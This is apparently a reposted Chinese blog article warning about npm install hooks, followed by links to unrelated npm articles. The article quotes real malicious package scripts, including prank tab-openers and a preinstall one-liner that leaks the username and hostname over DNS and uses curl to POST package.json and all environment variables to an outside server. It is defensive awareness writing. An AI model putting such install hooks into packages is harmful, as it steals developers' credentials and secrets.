你安装的 NPM 包,居然偷偷做这种事?

更新日期: 2023-05-05阅读: 490标签: npm作者: ConardLi

大家好,我是 ConardLi。

大家都知道,在 npm 包安装的前后,我们可以添加一些钩子函数(也就是我们常说的 postinstall、preinstall script),我们可以在这些函数中添加一些预编译之类的操作,来帮助我们在包安装的前后做一些操作。

但是,在 npm 官方给出的最佳实践中,却有一段下面这样的描述:

Don't use install. Use a .gyp file for compilation, and prepare for anything else. You should almost never have to explicitly set a preinstall or install script. If you are doing this, please consider if there is another option. The only valid use of install or preinstall scripts is for compilation which must be done on the target architecture.

大概意思就是:没啥特殊的必要不要用 npm install script,这玩意安全风险比较大,如果你要做一些预编译之类的处理可以试试 .gyp 文件。

有啥安全风险呢?比如,一个恶意的软件包可能包含一个可损害我们用户系统的 preinstall 脚本,或者在安装过程中运行一些可能会引入安全漏洞或其他恶意的行为。使用 npm install script 时,我们没办法控制脚本的行为,只能期待脚本开发者遵循最佳实践,而且要正确设置它的依赖项和环境。

你可能会想,有这么严重吗?有谁会去无聊到去这里面加一些恶意脚本?

还真有,下面我就来带大家欣赏几个...


就是要骗你玩

https://www.npmjs.com/package/ember->这个包名看起来还挺正常的,不过这个包的 npm script 中是这样的:

"scripts": {
"open": "xdg-open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'",
"preinstall": "npm run open",
"test": "npm run open"
}

可以发现,一旦我们安装了这个包,就会执行 preinstall 脚本,然后会通过 xdg-open命令(一个可以在 Linux 系统中打开 URL 的命令,Mac、Windows 系统不起作用)打开下面的网站


作者可真够无聊的 ... 不过无聊的作者可不止这一个,类似的还有下面这个包:https://www.npmjs.com/package/inferium

它的 npm script 是这样的:

"scripts": {
"preinstall": "for i in {1..10}; do firefox https://www.youtube.com/watch?v=48rz8udZBmQ & firefox https://www.youtube.com/watch?v=FavUpD_IjVY & done &"
}

如果你在你的电脑上执行了 npm i inferium,它的 preinstall 脚本会在你的 firefox 浏览器上打开 20 个选项卡,播放下面的视频:


这个作者看起来有什么精神疾病...


窃取你的隐私数据

上面两个包其实还有点恶作剧的感觉,其实不会造成什么大的危害,但是还有很多包在安装后会悄无声息的做一些小动作,你也无法察觉,你的个人信息就已经被窃取了,比如下面这个包:https://www.npmjs.com/package/micro-username

这个包的 install script 是这样写的:


一旦你安装的这个包,就会通过 curl 命令将下面的信息发送到目标服务器上:

  • whoami:返回当前用户的用户名或房钱用户关联的用户 UID,在很多场景下是用户的真实名字
  • pwd:返回当前执行命令的工作目录,这回暴露用户的技术及路径结构
  • hostname:返回所使用计算机或设备的名称,包括域名和主机名

这个包一共发布了 28 个版本,但是只存活了两天,就被 npm 官方发现并删除了。


但是这样的包还有很多,下面这个包的攻击脚本会更复杂一点:https://www.npmjs.com/package/@primeo/address

"scripts": {
"preinstall": "nslookup $(whoami).u.pkgio.com ; nslookup $(uname --nodename).h.pkgio.com ; curl -X POST -d @package.json -H 'X-BOT: nope' https://www.pkgio.com/.x773/package.json ; env > /tmp/.env ; curl -X POST -d @/tmp/.env -H 'X-BOT: nope' https://www.pkgio.com/.x773/env.json"
},

我们拆解一些这个脚本,实际上是下面四个命令:

  • nslookup $(whoami).u.pkgio.com$(whoami).u.pkgio.com使用 nslookup 工具查找与主机名 (whoami).u.pkgio.com 关联的IP地址。
  • nslookup $(uname --nodename).h.pkgio.com$(uname --nodename).h.pkgio.com和上面的命令类似,但是多了一个 uname --nodename ,可以确定当前机器的主机名,然后用于构造主机名。
  • curl -X POST -d @package.json -H 'X-BOT: nope' [https://www.pkgio.com/.x773/package.json](https://www.pkgio.com/.x773/package.json):发送一个 HTTP POST 请求,将你的 package.json 内容发送出去。
  • env > /tmp/.env ; curl -X POST -d @/tmp/.env -H 'X-BOT: nope' [https://www.pkgio.com/.x773/env.json/tmp/.env](https://www.pkgio.com/.x773/env.json/tmp/.env):使用命令将当前环境变量写入 /tmp/.env 文件,然后发送一个 HTTP POST 请求,把 /tmp/.env 发送出去。这实际上会将你所有的私有环境变量泄露出去。


更高级的欺骗手法

上面的几个包,如果你细心的话,可能看到它们的 package.json 就会发现其中的猫腻,但是还有很多包会采用更高级的手法来伪装自己,比如下面这个包:https://www.npmjs.com/package/node-hsf


首先它提供了几个虚假的 url,来把自己伪装成阿里巴巴开源组织下的一个开源库,估计很多人看到这个就已经放松警惕了,但是这玩意是可以随便改的。

然后在它的 install script 中,首先实用了 nohup 来允许脚本在终端关闭的情况下也能在后台运行,然后它并没有直接将攻击代码写在脚本里面,而是放在了一个远程的文件中,在这里它把远程的攻击脚本下载下来并且执行,很多没有安全意识的同学可能根本不会意识到这里有什么风险...


最后

所以,在使用 npm install script 时,我们需要非常小心,只有在必要的情况下才应该使用这个功能,并且应该尽量限制脚本的访问权限,以避免引入潜在的安全问题。同时,我们也需要保持警惕,及时更新我们的 npm 包以确保它们的安全性,并选择来源可靠、经过验证的 npm 包和插件。

参考:https://blog.sandworm.dev/the-npm-packages-that-troll-you
来源公众号:code秘密花园

链接: https://www.fly63.com/article/detial/12463

在5分钟内搭建企业内部私有npm仓库

下面通过三种方法来搭建公司私有npm仓库,每种方式都有自己的优势。启动并配置服务、设置注册地址、登录cnpm、包上传到私有仓库、查看预览包、通过verdaccio搭建....

使用webpack开发npm插件

webpack:解析js文件,无法解析的文件需要借助loader,npm插件发布(vue&webpack&单页面):npm init =>package.json,创建.vue文件 =>插件界面及功能,index.js =>入口文件

npm命令大全_整理NPM常用命令

NPM是随同NodeJS一起安装的包管理和分发工具,它很方便让JavaScript开发者下载、安装、上传以及管理已经安装的包。这篇文章整理NPM常用的一些命令

npm 执行多个命令_如何用npm同时执行多条监听命令

直接通过&&连接多条命令,在npm run start的时候,发现只停留在第一个命令执行监听,后面的命令都没有执行。只能通过打开多个窗口分别执行多条命令,那么有没有办法实现一条npm命令执行多条监听呢?

npm和bower的关系和区别

npm和bower太像了,就像一对孪生兄弟…… npm的文件是package.json,包安装的目录是node_modules。 bower的文件是bower.json,包安装的目录是bower_components。使用命令也基本一致

npm run build根据不同参数打包不同环境url

这篇文章主要介绍了vue项目中Npm run build 根据环境传递参数方法来打包不同域名,使用npm run build --xxx,根据传递参数xxx来判定不同的环境,给出不同的域名配置,具体内容详情大家参考下:config文件夹下dev.env.js中修改代码、prod.env.js中修改代码 HOST为截取到的参数

npm安装模块时报错:no such file or directory

使用node.js和npm,在安装模块的时候报错npm WARN saveError ENOENT: no such file or directory, open ...的解决办法。这个原因就是因为项目没有进行初始化,缺少package.json文件造成的。需要package.json才能npm install。 可以npm init初始化生成一个package.json。

vue-cli 3.x 开发插件并发布到 npm

抽空写了一个 textarea,打算发布到 npm 的时候却遇到了问题,之前用 vue-cli 2.x 的时候,打包配置项非常透明,可以很容易的修改,但升级到 vue-cli 3.x 之后,反而一脸懵逼

前端npm 安装包,精选大全集合

如果您曾在 Node 或 JavaScript 前端开发中投入过时间和精力,那么您就知道 npm 中有数以十万计的模块可供您选择。挑选模块可能很难,但您只需要一些方法点来解决它。当您正在为如何抉择浪费时间,或者甚至不知道从哪里开始时,请使用本指南来帮助您。

关于 npm run eject 报错的问题

关于 npm run eject 报错的问题,昨天新开React的项目, 刚刚一上手就碰到问题,解决方法(前提你有git).出错的原因:应该是git没有安装好,或者代码没有提交上git

点击更多...

内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!